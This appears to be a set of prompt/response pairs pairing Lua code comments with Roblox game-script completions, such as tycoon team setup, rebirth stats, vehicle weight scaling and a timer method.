Prompt: --run this first so if there is a 'white' team it is switched over

Response:
if not Settings['AutoAssignTeams'] then
	local teamHire = Instance.new('Team', Teams)
	teamHire.TeamColor = BC.new('White')
	teamHire.Name = "For Hire"
end

for i,v in pairs(script.Parent:WaitForChild('Tycoons'):GetChildren()) do
	Tycoons[v.Name] = v:Clone() -- Store the tycoons then make teams depending on the tycoon names
	if returnColorTaken(v.TeamColor) then
		--//Handle duplicate team colors
		local newColor;
		repeat
			wait()
			newColor = BC.Random()
		until returnColorTaken(newColor) == false
		v.TeamColor.Value = newColor
	end
	--Now that there are for sure no duplicates, make your teams
	local NewTeam = Instance.new('Team',Teams)
	NewTeam.Name = v.Name
	NewTeam.TeamColor = v.TeamColor.Value
	if not Settings['AutoAssignTeams'] then
		NewTeam.AutoAssignable = false
	end
	--v.PurchaseHandler.Disabled = false
end

function getPlrTycoon(player)
	for i,v in pairs(script.Parent.Tycoons:GetChildren()) do
		if v:IsA("Model") then
			if v.Owner.Value == player then
				return v
			end
		end
	end
	return nil
end

game.Players.PlayerAdded:connect(function(player)

	local leaderStat = player:WaitForChild("leaderstats")
	local canRebirth = Instance.new("BoolValue")
	canRebirth.Name = "CanRebirth"
	canRebirth.Value = false
	canRebirth.Parent = player

	if RebirthSettings.Rebirth.enabled == true then
		if leaderStat ~= nil then
			local rebirth = Instance.new("NumberValue")
			rebirth.Name = "Rebirths"
			rebirth.Parent = leaderStat

			local rebirthCount = PlayerStatManager:getStat(player,"RebirthCount")

			if rebirthCount ~= nil then
				rebirth.Value = rebirthCount
			else
				rebirth.Value = 0
			end
		end
	end

end)

game.Players.PlayerRemoving:connect(function(player)
	--print("PlayerStatManager:saveOnExit("..player.Name..")")

	PlayerStatManager:saveOnExit(player)
	PlayerStatManager:setPlayerSessionDataToNil(player)
	local plrStats = game.ServerStorage.PlayerMoney:FindFirstChild(player.Name)
	if plrStats ~= nil then
		plrStats:Destroy()
	end
	print("AFTER Saving and deleting plrStats")

	local tycoon = getPlrTycoon(player)
	if tycoon then
		local backup = Tycoons[tycoon.Name]:Clone()
		tycoon:Destroy()
		wait()
		backup.Parent=script.Parent.Tycoons
	end
end)


Prompt: --[[Weight Scaling]]

Response:
	--[Cubic stud : pounds ratio]
	--[STANDARDIZED: Don't touch unless needed]
	Tune.WeightScaling = 1/50	--Default = 1/50 (1 cubic stud = 50 lbs)
	Tune.LegacyScaling = 1/20	--Default = 1/10 (1 cubic stud = 10 lbs) [PGS OFF]

return Tune


Prompt: -- Service varables

Response:
local players=game:GetService("Players")
local lp=players.LocalPlayer
local char=lp.Character or lp.CharacterAdded:wait()
local hum=char:WaitForChild("Humanoid")

local UIS=game:GetService("UserInputService")


Response:
Displays = 3 -- Sets how many displays this scripts will use...
DisplayColor = Color3.fromRGB(248, 248, 248)


Prompt:
--[=[
	Returns `true` if the timer is currently running.

	```lua
	if timer:IsRunning() then
		-- Do something
	end
	```
]=]

Response:
function Timer:IsRunning(): boolean
	return self._runHandle ~= nil
end